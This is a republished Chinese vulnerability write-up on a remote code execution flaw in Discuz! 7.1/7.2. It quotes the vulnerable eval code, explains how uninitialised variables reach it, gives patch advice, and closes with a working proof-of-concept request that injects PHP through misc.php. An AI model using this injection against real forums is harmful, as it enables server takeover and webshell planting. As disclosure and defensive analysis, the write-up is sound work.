Discuz! 7.1 远程代码执行漏洞
Discuz! 7.1 远程代码执行漏洞
发布时间:2016-12-23 来源:查字典编辑
摘要:截稿至此时,黑客X档案等一些使用discuz!最新版的论坛已被攻击进而无法访问。首先说一下,漏洞是t00ls核心群传出去的,xhming先去...

截稿至此时,黑客X档案等一些使用discuz!最新版的论坛已被攻击进而无法访问。

首先说一下,漏洞是t00ls核心群传出去的,xhming先去读的,然后我后来读的,读出来的都是代码执行,1月5日夜里11点多钟,在核心群的黑客们的要求下,xhming给了个poc,我给了个exp,确实发现的是同一个问题。截止夜里2点多种我下线,还只有t00ls核心群里几个人知道我给出的exp,可我怎么也想不到,经过半天时间,exp就满天飞了,而且确实出自昨天我的那个版本。

不难想象,exp流传的速度,A与B关系好,A发给B;B与C是好朋友,B发给C...总有人耐不住性子,泄露点风声,于是就人手一份。最受不了的是,竟然有些SB在群里拿来叫卖;实在不想说什么,要叫卖什么时候轮到你?人心不古,以后有的话还是自己藏着吧。

上午漏洞告诉了Saiy,DZ官方的补丁很快就出来了吧。

特别说明:产生漏洞的$scriptlang数组在安装插件后已经初始化,因此有安装插件的用户不受影响。

漏洞介绍:

Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。

漏洞分析:

下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:

一、漏洞来自showmessage函数:

functionshowmessage($message,$url_forward='',$extra='',$forwardtype=0){

extract($GLOBALS,EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,fromwww.oldjun.com

global$hookscriptmessage,$extrahead,$discuz_uid,$discuz_action,$debuginfo,$seccode,$seccodestatus,$fid,$tid,$charset,$show_message,$inajax,$_DCACHE,$advlist;

define('CACHE_FORBIDDEN',TRUE);

$hookscriptmessage=$show_message=$message;$messagehandle=0;

$msgforward=unserialize($_DCACHE['settings']['msgforward']);

$refreshtime=intval($msgforward['refreshtime']);

$refreshtime=empty($forwardtype)?$refreshtime:($refreshtime?$refreshtime:3);

$msgforward['refreshtime']=$refreshtime*1000;

$url_forward=empty($url_forward)?'':(empty($_DCOOKIE['sid'])&&$transsidstatus?transsid($url_forward):$url_forward);

$seccodecheck=$seccodestatus&2;

if($_DCACHE['settings']['funcsiteid']&&$_DCACHE['settings']['funckey']&&$funcstatinfo&&!IS_ROBOT){

$statlogfile=DISCUZ_ROOT.'./forumdata/funcstat.log';

if($fp=@fopen($statlogfile,'a')){

@flock($fp,2);

if(is_array($funcstatinfo)){

$funcstatinfo=array_unique($funcstatinfo);

foreach($funcstatinfoas$funcinfo){

fwrite($fp,funcstat_query($funcinfo,$message)."n");

}

}else{

fwrite($fp,funcstat_query($funcstatinfo,$message)."n");

}

fclose($fp);

$funcstatinfo=$GLOBALS['funcstatinfo']='';

}

}

if(!defined('STAT_DISABLED')&&STAT_ID>0&&!IS_ROBOT){

write_statlog($message);

}

if($url_forward&&(!empty($quickforward)||empty($inajax)&&$msgforward['quick']&&$msgforward['messages']&&@in_array($message,$msgforward['messages']))){

updatesession();

dheader("location:".str_replace('&','&',$url_forward));

}

if(!empty($infloat)){

if($extra){

$messagehandle=$extra;

}

$extra='';

}

if(in_array($extra,array('HALTED','NOPERM'))){

$discuz_action=254;

}else{

$discuz_action=255;

}

includelanguage('messages');

$vars=explode(':',$message);//只要含:就可以了

if(count($vars)==2&&isset($scriptlang[$vars[0]][$vars[1]])){//两个数字即可,用:分割

eval("$show_message="".str_replace('"','"',$scriptlang[$vars[0]][$vars[1]])."";");//$scriptlang未初始化,可以自定义,fromwww.oldjun.com

}elseif(isset($language[$message])){

$pre=$inajax?'ajax_':'';

eval("$show_message="".(isset($language[$pre.$message])?$language[$pre.$message]:$language[$message])."";");

unset($pre);

}

......

}

二、DZ的全局机制导致了未初始化的参数可以任意提交:

foreach(array('_COOKIE','_POST','_GET')as$_request){

foreach($$_requestas$_key=>$_value){

$_key{0}!='_'&&$$_key=daddslashes($_value);

}

}

三、misc.php正好有个可以自定义message的点,其实也是未初始化:

elseif($action=='imme_binding'&&$discuz_uid){

if(isemail($id)){

$msn=$db->result_first("SELECTmsnFROM{$tablepre}memberfieldsWHEREuid='$discuz_uid'");

$msn=explode("t",$msn);

$id=dhtmlspecialchars(substr($id,0,strpos($id,'@')));

$msn="$msn[0]t$id";

$db->query("UPDATE{$tablepre}memberfieldsSETmsn='$msn'WHEREuid='$discuz_uid'");

showmessage('msn_binding_succeed','memcp.php');

}else{

if($result=='Declined'){

dheader("Location:memcp.php");

}else{

showmessage($response['result']);//$response没有初始化,可以自定义,fromwww.oldjun.com

}

}

}

四、漏洞利用:

showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。

五、漏洞修复:

1.有补丁的打补丁;

2.没有补丁可以暂时先注释引起漏洞的语句,或者对两个变量赋个值。

poc:

(应Saiy的要求,不发exp了!)注册一个用户登陆,然后提交

misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新discuz学习
热门discuz学习
CMS教程子分类